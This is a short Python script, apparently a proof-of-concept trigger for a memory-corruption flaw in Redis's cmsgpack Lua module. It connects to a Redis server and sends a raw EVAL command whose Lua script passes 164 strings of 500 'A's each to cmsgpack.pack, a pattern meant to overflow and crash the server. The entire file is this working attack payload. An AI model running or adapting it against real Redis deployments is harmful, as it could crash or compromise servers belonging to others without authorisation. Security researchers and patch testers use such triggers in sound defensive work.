trigger.py

import os
import socket

server  = '127.0.0.1'
port    = 6379

def send_to_redis(server, port, data, timeout=2):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(timeout)
    s.connect((server, port))
    try:
        s.send(data)
    except socket.timeout:
        print 'Unable to connect to target ; returning'
        return None
    s.close()

def main():
    val = '"%s"' % ('A'*500)

    script = "cmsgpack.pack("
    for x in range(164):
        script += "%s," % val
    script = script[:-1]
    script += ")"

    payload = "*3\r\n$4\r\nEVAL\r\n$%s\r\n%s\r\n$1\r\n0\r\n" % (len(script),script)

    send_to_redis(server, port, payload)

if __name__ == '__main__':
    main()